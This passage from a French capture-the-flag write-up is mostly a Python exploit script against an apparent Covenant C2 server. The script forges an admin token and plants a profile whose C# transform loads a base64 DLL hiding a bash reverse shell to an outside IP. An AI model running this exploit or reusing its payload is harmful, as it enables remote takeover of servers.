dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEUvcWMAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAsicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGAnAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACUJwAAAAAAAEgAAAACAAUAcCAAALgFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGYCKA4AAAoAAHIBAABwcgsAAHAoDwAACiYqCgAqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAzAEAACN+AAA4AgAAIAIAACNTdHJpbmdzAAAAAFgEAACIAAAAI1VTAOAEAAAQAAAAI0dVSUQAAADwBAAAyAAAACNCbG9iAAAAAAAAAAIAAAFHFQAACQAAAAD6ATMAFgAAAQAAABAAAAACAAAAAgAAAAEAAAAPAAAADQAAAAEAAAACAAAAAABxAQEAAAAAAAYA5gDWAQYAUwHWAQYAMwCkAQ8A9gEAAAYAWwCMAQYAyQCMAQYAqgCMAQYAOgGMAQYABgGMAQYAHwGMAQYAcgCMAQYARwC3AQYAJQC3AQYAjQCMAQYAEgKAAQoACgKkAQAAAAAIAAAAAAABAAEAAQAQAAEAEQA9AAEAAQBQIAAAAACGGJ4BBgABAGogAAAAAIYAhwEqAAEAAAABAAUCCQCeAQEAEQCeAQYAGQCeAQoAKQCeARAAMQCeARAAOQCeARAAQQCeARAASQCeARAAUQCeARAAWQCeARAAYQCeARUAaQCeARAAcQCeARAAeQCeAQYAgQAZAhoALgALADAALgATADkALgAbAFgALgAjAGEALgArAHEALgAzAHEALgA7AHEALgBDAGEALgBLAHcALgBTAHEALgBbAHEALgBjAI8ALgBrALkABIAAAAEAAAAAAAAAAAAAAAAAEQAAAAIAAAAAAAAAAAAAACEAHAAAAAAAAgAAAAAAAAAAAAAAIQCAAQAAAAAAAABDbGFzczEAPE1vZHVsZT4ARXhhbXBsZURMTABtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4YW1wbGVETEwuZGxsAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAC5jdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFByb2Nlc3MAT2JqZWN0AFN0YXJ0AAAACWIAYQBzAGgAAHstAGMAIAAiAGIAYQBzAGgAIAAtAGMAIAAnAGUAeABlAGMAIABiAGEAcwBoACAALQBpACAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
payload = """public static class MessageTransform {
public static string Transform(byte[] bytes) {
try {
string assemblyBase64 = "%s";
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
var assembly = System.Reflection.Assembly.Load(assemblyBytes);
foreach (var type in assembly.GetTypes()) {
object instance = System.Activator.CreateInstance(type);
object[] args = new object[] { new string[] { "" } };
try {
type.GetMethod("Main").Invoke(instance, args);
}
catch {}
}
}
catch {}
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}""" % dll
return payload
def read_listener_type(self,name : str) -> str:
response1 = requests.get("%s/api/listeners/types" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
listners_types = response1.json()
for listener_type in listners_types:
if listener_type['name'].lower() == name.lower():
return listener_type['id']
def upload_profile(self) -> int:
id =random.randint(6000,8000)
name = randomhex(4)
data = {
'httpUrls': [
'/en-us/index.html',
'/en-us/docs.html',
'/en-us/test.html'
],
'httpRequestHeaders': [
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
],
'httpResponseHeaders': [
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
],
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
'httpGetResponse': 'salut: {DATA}',
'httpPostResponse': '{DATA}',
'id': id,
'name': "%s" % name,
'description': 'z3ste',
'type': 'HTTP',
'messageTransform': self.generate_transform_payload()
}
# response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
response2 = requests.post("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.status_code != 201:
print("[!] %sCan't create profile%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
if response2.json()["description"] == "z3st":
print("[!] %sProfil non créé%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
print("- Profil créé: id=%i / name=%s" % (response2.json()["id"],response2.json()["name"]))
response1 = requests.get("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
return id
def create_listener(self,id : int) -> None:
c2_port = random.randint(8000,8250)
self.c2_port = c2_port
name = randomhex(4)
data = {
'useSSL': False,
'urls': [
self.url
],
'id': 0,
'name': name,
'bindAddress': self.ip,
'bindPort': c2_port,
'connectAddresses': [
"%s" % self.ip
],
'connectPort': c2_port,
'profileId': id,
'listenerTypeId': self.read_listener_type('HTTP'),
'status': 'Active',
'Description':"Z3st"
}
#response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
response2 = requests.post("%s/api/listeners/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
try:
if response2.json()["description"] == "Z3st":
print("- Listener créé: id=%i / name=%s (%s)" % (response2.json()["id"],response2.json()["name"],response2.json()["urls"][0]))
return response2.json()["name"]
else:
print(response2.text)
print("[!] %sListener non créé%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
except TypeError:
print(response2.text)
print("[!] %sImpossible de creer le listener%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
def read_grunt_cfg(self,listener_name):
data = {
'id': 0,
'listenerId': self.read_listener_id(listener_name),
'implantTemplateId': 1,
'name': 'Binary',
'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
'type': 'binary',
'dotNetVersion': 'Net35',
'runtimeIdentifier': 'win_x64',
'validateCert': True,
'useCertPinning': True,
'smbPipeName': 'string',
'delay': 0,
'jitterPercent': 0,
'connectAttempts': 0,
'launcherString': 'GruntHTTP.exe',
'outputKind': 'consoleApplication',
'compressStager': False
}
# gerenate grunt payload
response2 = requests.put("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.text != "":
response2 = requests.post("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.text != "":
#print(response2.json())
code = (response2.json()['stagerCode'])
#print(code)
aes_key = re.search(".*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);",code).group(1)
guid_prefix = re.search(".*string\saGUID\s=\s@\"(.*?)\";",code).group(1)
print("- AES key: %s" % aes_key)
print("- GUID: %s" % guid_prefix)
return aes_key,guid_prefix
#
def generate_stage0(self,aes_key, guid):
headers = {}
headers['Cookies'] = "ASPSESSIONID=%s; SESSIONID=1552332971750" % guid
headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
#ruby aes.rb --key dazdzadaz --data dzaazdaz
payload = subprocess.check_output(['ruby', 'aes.rb', "--key", aes_key, "--guid", guid])
payload = payload.replace(b'\n',b'')
time.sleep(5)
data = {
'i' :'a19ea23062db990386a3a478cb89d52e',
'data' : payload.decode('utf-8'),
'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
}
print(data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.c2_port))
REQ_TEMPLATE = """GET /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'])
sent = s.send(REQ_TEMPLATE.encode("utf-8"))
content = s.recv(1024)
if not b"HTTP/1.1 200 OK" in content:
print(content)
print("[!] %sErreur lors de la connection%s" % (Fore.RED,Fore.WHITE))
#sys.exit(0)
s.close()
post_data = "i=%s&data=%s&session=%s" % (data['i'],data['data'],data['session'])
REQ_TEMPLATE = """POST /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'],len(post_data),post_data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.c2_port))
sent = s.send(REQ_TEMPLATE.encode("utf-8"))
print(s.recv(1024))
def read_listener_id(self,name):
listeners = requests.get("%s/api/listeners" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN})
if listeners.text != "":
listeners = listeners.json()
for listener in listeners:
if listener['name'] == name:
return listener['id']
print("[!] %sImpossible de trouver le listener%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
def exploit(self) -> None:
print("[-] %sRecuperation de la liste des utilisateurs%s" % (Fore.MAGENTA,Fore.WHITE))
USER_LIST = self.get_user_list()
print("[-] %sGeneration du token admin%s" % (Fore.MAGENTA,Fore.WHITE))
self.ADMIN_NAME = "DGHACK_ADMIN"
self.ADMIN_ID = USER_LIST[1]["id"]
print("Choix: %s (%s) "% (self.ADMIN_NAME,self.ADMIN_ID))
self.ADMIN_TOKEN = self._gen_jwt(self.ADMIN_NAME,self.ADMIN_ID)
print(" - admin_token=%s" % self.ADMIN_TOKEN)
time.sleep(2)
print("[-] %sGeneration du profil malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
profil_id = self.upload_profile()
print("[-] %sGeneration du listener malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
listener_name = self.create_listener(profil_id)
print("[-] %sRecuperation de la configuration grunt%s" % (Fore.MAGENTA,Fore.WHITE))
aes_key, guid_prefix = self.read_grunt_cfg(listener_name)
print("[-] %sStage0%s" % (Fore.MAGENTA,Fore.WHITE))
self.generate_stage0(aes_key, guid_prefix + randomhex(5))
a = exploit()
a.exploit()
Il ne nous reste plus qu’à générer une DLL fonctionnelle. Je commence par récupérer la DLL utilisé dans le script ruby, je rajoute mon code de reverse shell bash et je lance, une fois, deux fois, trois fois mais rien n’y fait. Je comprends que c’est un peu plus complexe que ça. En (re)lisant l’article hunting the hunters, je tombe sur un lien vers l’article de Malcom Vetter (ici), puis sur un lien vers son code (ici). Pour plus d’information je vous invite à lire son article.
Je génère la DLL que j’encode en base64 et je la place dans mon script, et normalement on est bon.
Et enfin…
Maintenant que notre script est complet, il suffit de le lancer: